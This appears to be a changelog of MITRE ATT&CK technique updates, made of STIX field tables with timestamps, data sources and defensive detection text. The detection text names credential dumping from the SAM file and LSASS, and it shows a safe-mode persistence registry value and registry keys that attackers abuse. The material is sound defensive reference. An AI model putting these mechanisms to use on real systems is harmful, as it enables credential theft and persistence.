| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:31.965000+00:00 | 2025-10-24 17:48:48.200000+00:00 |
| x_mitre_detection | Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) + +Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) + +Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) + +* HKLM\SOFTWARE\Microsoft\Cryptography\OID +* HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID +* HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust +* HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust + +**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) + +Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Share: Network Share Access', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:29.701000+00:00 | 2025-10-24 17:48:45.700000+00:00 |
| x_mitre_detection | Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:29.549000+00:00 | 2025-10-24 17:49:34.969000+00:00 |
| x_mitre_detection | Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:02:13.653000+00:00 | 2025-10-24 17:49:38.624000+00:00 |
| x_mitre_detection | On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Process: Process Creation', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:17.607000+00:00 | 2025-10-24 17:48:34.985000+00:00 |
| x_mitre_detection | Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
+
+On macOS systems log show --predicate 'process = "sshd"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
+
+On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:39.342000+00:00 | 2025-10-24 17:48:55.005000+00:00 |
| x_mitre_detection | Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.
+
+Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.
+
+For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:40:37.838000+00:00 | 2025-10-24 17:48:45.240000+00:00 |
| x_mitre_detection | Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:08.076000+00:00 | 2025-10-24 17:48:33.044000+00:00 |
| x_mitre_detection | Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \* in front of the "Startup" value name: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\["\*Startup"="{Path}"] or by adding a key to HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)
+
+Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019) |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:02:32.145000+00:00 | 2025-10-24 17:49:34.076000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:02:44.660000+00:00 | 2025-10-24 17:49:28.603000+00:00 |
| x_mitre_detection | Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Scheduled Job: Scheduled Job Creation', 'File: File Creation', 'Process: Process Creation', 'Container: Container Creation', 'Command: Command Execution', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:41:11.473000+00:00 | 2025-10-24 17:48:38.539000+00:00 |
| x_mitre_detection | Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. + +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:03:03.336000+00:00 | 2025-10-24 17:48:45.522000+00:00 |
| x_mitre_detection | Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:03:14.254000+00:00 | 2025-10-24 17:48:19.886000+00:00 |
| x_mitre_detection | Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:21.356000+00:00 | 2025-10-24 17:49:24.634000+00:00 |
| x_mitre_detection | Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. + +Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:03:31.068000+00:00 | 2025-10-24 17:49:11.164000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:03:45.401000+00:00 | 2025-10-24 17:48:55.709000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:04:02.249000+00:00 | 2025-10-24 17:48:48.734000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:04:23.505000+00:00 | 2025-10-24 17:49:10.188000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:04:36.505000+00:00 | 2025-10-24 17:48:26.799000+00:00 |
| x_mitre_detection | Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Windows Registry: Windows Registry Key Access', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:04:51.689000+00:00 | 2025-10-24 17:48:26.545000+00:00 |
| x_mitre_detection | Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Firewall: Firewall Metadata', 'Command: Command Execution', 'Process: OS API Execution', 'Firewall: Firewall Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:05:09.449000+00:00 | 2025-10-24 17:49:23.401000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:38.641000+00:00 | 2025-10-24 17:48:46.245000+00:00 |
| x_mitre_detection | Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:05:25.349000+00:00 | 2025-10-24 17:48:28.055000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:05:41.313000+00:00 | 2025-10-24 17:49:30.616000+00:00 |
| x_mitre_detection | Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:05:58.721000+00:00 | 2025-10-24 17:48:50.911000+00:00 |
| x_mitre_detection | Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:21.713000+00:00 | 2025-10-24 17:49:27.065000+00:00 |
| x_mitre_detection | Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. + +Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:20.444000+00:00 | 2025-10-24 17:49:35.506000+00:00 |
| x_mitre_detection | Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029). |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:06:48.799000+00:00 | 2025-10-24 17:48:39.609000+00:00 |
| x_mitre_detection | Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. + +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. + +Externally monitor the availability of services that may be targeted by an Endpoint DoS. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Service: Service Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:32.419000+00:00 | 2025-10-24 17:49:09.575000+00:00 |
| x_mitre_detection | Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. + +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:17.707000+00:00 | 2025-10-24 17:48:53.456000+00:00 |
| x_mitre_detection | Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set. |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:04.668000+00:00 | 2025-10-24 17:48:22.302000+00:00 |
| x_mitre_detection | Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. + +Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Application Log: Application Log Content', 'Cloud Service: Cloud Service Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:07:18.929000+00:00 | 2025-10-24 17:48:22.832000+00:00 |
| x_mitre_detection | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. + + |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Process: Process Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:28.507000+00:00 | 2025-10-24 17:48:44.403000+00:00 |
| x_mitre_detection | Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. + +Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:09.547000+00:00 | 2025-10-24 17:49:26.177000+00:00 |
| x_mitre_detection | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) + +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:08:29.336000+00:00 | 2025-10-24 17:49:18.054000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Persona: Social Media'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:09:01.225000+00:00 | 2025-10-24 17:49:14.364000+00:00 |
| x_mitre_detection | Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Persona: Social Media', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:08:45.478000+00:00 | 2025-10-24 17:48:32.696000+00:00 |
| x_mitre_detection | Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:09:39.651000+00:00 | 2025-10-24 17:48:19.274000+00:00 |
| x_mitre_detection | Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters) |
Current version: 3.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:51.465000+00:00 | 2025-10-24 17:49:06.595000+00:00 |
| x_mitre_detection | Detection methods will vary depending on the type of third-party software or system and how it is typically used. + +The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. + +Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage. + +Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
